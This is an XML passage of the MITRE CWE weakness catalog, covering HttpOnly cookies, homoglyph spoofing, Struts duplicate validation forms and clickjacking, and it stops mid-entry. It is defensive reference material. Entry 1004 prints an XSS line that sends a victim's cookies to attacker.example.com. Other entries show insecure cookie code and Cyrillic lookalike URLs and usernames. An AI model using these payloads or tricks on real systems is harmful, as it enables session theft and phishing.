<?xml version="1.0" encoding="UTF-8"?><Weakness_Catalog Name="CWE" Version="4.11" Date="2023-04-27" xmlns="http://cwe.mitre.org/cwe-6" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://cwe.mitre.org/cwe-6 http://cwe.mitre.org/data/xsd/cwe_schema_v6.10.xsd" xmlns:xhtml="http://www.w3.org/1999/xhtml">
	<Weaknesses>
      <Weakness ID="1004" Name="Sensitive Cookie Without 'HttpOnly' Flag" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.</Description>
         <Extended_Description>The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Leverage the HttpOnly flag when setting a sensitive cookie in a response.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.</Intro_Text>
               <Body_Text>The snippet of code below establishes a new cookie to hold the sessionID.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div>
               </Example_Code>
               <Body_Text>The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>document.write('&lt;img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '"&gt;'</xhtml:div>
               </Example_Code>
               <Body_Text>When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.</Body_Text>
               <Body_Text>To mitigate the risk, use the setHttpOnly(true) method.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-3852</Reference>
               <Description>CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-3852</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-4138</Reference>
               <Description>Appliance for managing encrypted communications does not use HttpOnly flag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-4138</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-2"/>
            <Reference External_Reference_ID="REF-3"/>
            <Reference External_Reference_ID="REF-4"/>
            <Reference External_Reference_ID="REF-5"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2017-01-02</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1007" Name="Insufficient Visual Distinction of Homoglyphs Presented to User" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.</Description>
         <Extended_Description>
            <xhtml:p>Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "Α" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "Á" with the acute accent.</xhtml:p>
            <xhtml:p>Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="451" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Homograph Attack</Term>
               <Description>"Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>This weakness may occur when characters from various character sets are allowed to be interchanged within a URL, username, email address, etc. without any notification to the user or underlying system being used.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Other</Impact>
               <Note>An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Dynamic Analysis</Method>
               <Description>If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs.</xhtml:p>
                  <xhtml:p>Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox.</xhtml:p>
                  <xhtml:p>Certain email clients such as Google's GMail prevent the use of non-Latin characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following looks like a simple, trusted URL that a user may frequently access.</Intro_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://www.еxаmрlе.соm</xhtml:div>
               </Example_Code>
               <Body_Text>However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character &amp;#x435, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character &amp;#x430.  The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.&amp;#x435;x&amp;#x430;m&amp;#x440;l&amp;#x435;.&amp;#x441;&amp;#x43e;m". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.</Intro_Text>
               <Body_Text>Assume an adversary visits a legitimate, trusted domain and creates an account named "admin", except the 'a' and 'i' characters are Cyrillic characters instead of the expected ASCII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>123.123.123.123 аdmіn [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846<xhtml:br/>
		  123.123.123.123 аdmіn [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523<xhtml:br/>
		  123.123.123.123 admin [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291<xhtml:br/>
		  123.123.123.123 аdmіn [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291<xhtml:br/>
		  </xhtml:div>
               </Example_Code>
               <Body_Text>Upon closer inspection, the account that generated three of these log entries is "&amp;#x430;dm&amp;#x456;n". Only the third log entry is by the legitimate admin account. This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2013-7236</Reference>
               <Description>web forum allows impersonation of users with homoglyphs in account names</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-7236</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0584</Reference>
               <Description>Improper character restriction in URLs in web browser</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0584</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0652</Reference>
               <Description>Incomplete denylist does not include homoglyphs of "/" and "?" characters in URLs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0652</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-5015</Reference>
               <Description>web browser does not convert hyphens to punycode, allowing IDN spoofing in URLs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-5015</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0233</Reference>
               <Description>homoglyph spoofing using punycode in URLs and certificates</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0233</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0234</Reference>
               <Description>homoglyph spoofing using punycode in URLs and certificates</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0234</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0235</Reference>
               <Description>homoglyph spoofing using punycode in URLs and certificates</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0235</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="632"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 11, &#34;Canonical Representation Issues&#34;, Page 382"/>
            <Reference External_Reference_ID="REF-8"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2017-07-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="102" Name="Struts: Duplicate Validation Forms" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.</Description>
         <Extended_Description>If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="694" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Two validation forms with the same name.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;form-validation&gt;<xhtml:div style="margin-left:1em;">&lt;formset&gt;<xhtml:div style="margin-left:1em;">&lt;form name="ProjectForm"&gt; ... &lt;/form&gt;<xhtml:br/>&lt;form name="ProjectForm"&gt; ... &lt;/form&gt;</xhtml:div>&lt;/formset&gt;</xhtml:div>&lt;/form-validation&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>It is critically important that validation logic be maintained and kept in sync with the rest of the product.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Duplicate Validation Forms</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1021" Name="Improper Restriction of Rendered UI Layers or Frames" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.</Description>
         <Extended_Description>A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="441" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="451" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Clickjacking</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>UI Redress Attack</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Tapjacking</Term>
               <Description>"Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trik the user into changing privacy settings.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content.</xhtml:p>
                  <xhtml:p>The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned.</xhtml:p>
                  <xhtml:p>It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2017-7440</Reference>
               <Description>E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-7440</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-5697</Reference>
               <Description>Hardware/firmware product has insufficient clickjacking protection in its web user interface</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-5697</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-4015</Reference>
               <Description>Clickjacking in data-loss prevention product via HTTP response header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-4015</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2016-2496</Reference>
               <Description>Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2016-2496</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-1241</Reference>
               <Description>Tapjacking in web browser related to page navigation and touch/gesture events.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-1241</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-0492</Reference>
               <Description>System UI in mobile OS allows a malicious application to create a UI overlay of the entire screen to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-0492</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="103"/>
            <Related_Attack_Pattern CAPEC_ID="181"/>
            <Related_Attack_Pattern CAPEC_ID="222"/>
            <Related_Attack_Pattern CAPEC_ID="504"/>
            <Related_Attack_Pattern CAPEC_ID="506"/>
            <Related_Attack_Pattern CAPEC_ID="587"/>
            <Related_Attack_Pattern CAPEC_ID="654"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-35"/>
            <Reference External_Reference_ID="REF-36"/>
            <Reference External_Reference_ID="REF-37"/>
            <Reference External_Reference_ID="REF-38"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2017-08-01</Submission_Date>
            </Submission>
				<Modification>
